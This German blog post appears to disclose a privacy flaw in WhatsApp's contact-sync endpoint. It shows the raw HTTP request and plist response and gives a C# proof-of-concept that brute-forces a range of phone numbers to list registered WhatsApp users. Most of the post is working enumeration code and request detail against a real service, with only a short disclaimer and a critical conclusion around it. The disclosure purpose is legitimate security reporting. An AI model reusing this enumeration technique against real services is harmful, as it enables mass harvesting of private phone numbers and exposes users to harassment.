Eine Telefonnummer möchte man meist gerne für sich behalten, um nicht von Personen belästigt zu werden und einfach seine Ruhe zu haben. Mit der Nutzung der weitverbreiteten WhatsApp-Anwendung auf seinem Mobiltelefon macht man jedoch möglich die Rufnummern der angemeldeten Benutzer zu durchsuchen. In der App wird angezeigt welche seiner Kontakte bereits für WhatsApp registriert sind.
Dazu wird eine Anfrage mit den Telefonnummern seiner Kontakte an den WhatsApp-Server sro.whatsapp.net geschickt:
1POST /client/iphone/iq.php HTTP/1.1
2Host: sro.whatsapp.net
3User-Agent: WhatsApp/2.6.7 iPhone_OS/4.3.3 Device/iPhone
4Accept: */*
5Accept-Language: de-de
6Accept-Encoding: gzip, deflate
7Content-Type: application/x-www-form-urlencoded
8Content-Length: 710
9Connection: keep-alive
10Proxy-Connection: keep-alive
11
12cd=1&cc=43&me=664XXXXXXX&u[]=0699XXXXXXX&u[]=0680XXXXXXX
Im Body der POST-Anfrage an /client/iphone/iq.php
werden die Telefonnummern als Array (?) in der Form des GET-Parameters u[]=XXXXXXXXXXX
übermittelt. Der Parameter me muss jedoch nicht angegeben werden. Zudem darf die Anfrage auch über GET erfolgen. Auf die Anfrage antwortet der Server mit dem Status der Teilnehmer im plist-Format:
1<plist version="1.0">
2 <array>
3 <dict>
4 <key>P</key>
5 <string>0043664.......</string>
6 <key>T</key>
7 <integer>199610</integer>
8 <key>S</key>
9 <string>....</string>
10 <key>JID</key>
11 <string>43664.......</string>
12 </dict>
13 </array>
14</plist>
So ist es natürlich auch möglich einen Brute-Force Angriff auf Handynummern zu starten, und das funktioniert auch. Man kann zum Beispiel hundert Nummern generieren lassen, die man dann alle zusammen an den WhatsApp-Server übermittelt. Daraufhin erhält man alle Benutzer in diesem Bereich, die WhatsApp benutzen. Als ein Proof-of-Concept habe ich ein kleines Programm in C# zusammengestöpselt, das Telefonnummern aus einem bestimmten Bereich generiert und diese anschließ;end an den passenden WhatsApp-Server schickt. Anschließ;end wird der Inhalt der plist-Datei in der Konsole ausgegeben.
1using System;
2using System.Collections.Generic;
3using System.Linq;
4using System.Text;
5using System.Net;
6
7namespace WhatsAppBrute{
8 class Program{
9 static void Main(string[] args){
10 WebClient c = new WebClient();
11 String start = "https://sro.whatsapp.net/client/iphone/iq.php?cd=1&cc=43"
12
13 for (Int32 i = 0; i < 100; i++){
14 String count;
15
16 if(i < 10){
17 count = "0" + i.ToString();
18 }
19 else {
20 count = i.ToString();
21 }
22
23 start += "&u[]=0664XXXXX" + count;
24 }
25
26 Console.WriteLine(c.DownloadString(start));
27 Console.ReadLine();
28 }
29 }
30}
Dieser Code dient nur zu Vorführzwecken und darf nicht für einen Angriff auf die Server von WhatsApp verwendet werden!
Fazit: Es ist erschreckend wie einfach eine solche Anfrage ausgeführt werden kann und wie freizügig mit den Telefonnummern umgegangen wird. Natürlich wird nicht jeder Benutzer eine so umständliche Art benutzen (wollen), aber es ist möglich.